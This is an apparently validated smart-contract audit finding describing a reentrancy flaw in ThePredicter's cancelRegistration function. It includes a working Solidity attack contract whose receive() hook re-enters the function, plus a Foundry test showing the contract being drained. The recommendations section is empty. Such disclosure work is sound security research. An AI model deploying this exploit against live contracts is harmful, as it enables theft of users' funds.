Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

The `ThePredicter::cancelRegistration` function's state is not updated before `msg.sender.call` is called, this exposes the contract to a reentrancy attack.

Summary

ThePredicter::cancelRegistration function allows registered users that have not been upgraded to players to cancle their registration and withdraw their entrance fee. The current implementation is vulnerable to reentrancy attacks because the state update occurs after the external call to msg.sender.call .The cancelRegistration() in the ThePredicter contract is vulnerable to reentrancy attacks. An attacker can exploit this vulnerability to withdraw more funds than intended by recursively calling cancelRegistration() within the fallback function.

Vulnerability Details

call to msg.sender.call{value: entranceFee}("") allows control to be transferred to an external contract, which can recursively call cancelRegistration before playersStatus[msg.sender] is set to Status.Canceled.

Root Cause
call to msg.sender.call{value: entranceFee}("") allows control to be transferred to an external contract, which can recursively call cancelRegistration before playersStatus[msg.sender] is set to Status.Canceled.

ReentrancyAttack.sol

// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
import "./ThePredicter.sol";
contract ReentrancyAttack {
ThePredicter public thePredicter;
constructor(address _thePredicter) {
thePredicter = ThePredicter(_thePredicter);
}
// Fallback function to perform the reentrancy attack
receive() external payable {
if (address(thePredicter).balance > 0) {
thePredicter.cancelRegistration();
}
}
// Function to initiate the attack
function attack() external payable {
require(msg.value == 0.04 ether, "Incorrect ether amount sent");
thePredicter.register{value: msg.value}();
thePredicter.cancelRegistration();
}
}

Test file: Reentrancy.test.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.20;
import {Test, console} from "forge-std/Test.sol";
import {ThePredicter} from "../src/ThePredicter.sol";
import {ScoreBoard} from "../src/ScoreBoard.sol";
import {ReentrancyAttack} from "../src/ReentrancyAttack.sol";
contract ThePredicterTest is Test {
error ThePredicter__NotEligibleForWithdraw();
error ThePredicter__CannotParticipateTwice();
error ThePredicter__RegistrationIsOver();
error ThePredicter__IncorrectEntranceFee();
error ThePredicter__IncorrectPredictionFee();
error ThePredicter__AllPlacesAreTaken();
error ThePredicter__PredictionsAreClosed();
error ScoreBoard__UnauthorizedAccess();
ThePredicter public thePredicter;
ScoreBoard public scoreBoard;
address public organizer = makeAddr("organizer");
address public attacker = makeAddr("attacker");
function setUp() public {
vm.startPrank(organizer);
scoreBoard = new ScoreBoard();
thePredicter = new ThePredicter(address(scoreBoard), 0.04 ether, 0.0001 ether);
vm.deal(address(thePredicter), 1 ether);
scoreBoard.setThePredicter(address(thePredicter));
vm.stopPrank();
}
function testReentrancyOnCancelReg() public {
// Attacker deploys a reentrancy attack contract
vm.startPrank(attacker);
ReentrancyAttack reentrancyAttack = new ReentrancyAttack(address(thePredicter));
vm.deal(attacker, 1 ether);
assertEq(address(reentrancyAttack).balance, 0 ether, "Reentrancy attack contract Before");
reentrancyAttack.attack{value: 0.04 ether}();
vm.stopPrank();
// Check the balance of the attacker and the contract
assertEq(
attacker.balance, 1 ether - 0.04 ether, "Attacker balance should be initial balance minus entrance fee"
);
assertEq(address(reentrancyAttack).balance, 1.04 ether, "Reentrancy attack contract balance After");
}
}

On the terminal Run: forge test --mt testReentrancyOnCancelReg

Impact

An attacker can drain the contract’s funds by repeatedly calling cancelRegistration, leading to significant financial loss.

Tools Used

Manual Review

Recommendations

Updates

Lead Judging Commences

NightHawK Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Reentrancy in cancelRegistration

Reentrancy of ThePredicter::cancelRegistration allows a maliciour user to drain all funds.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.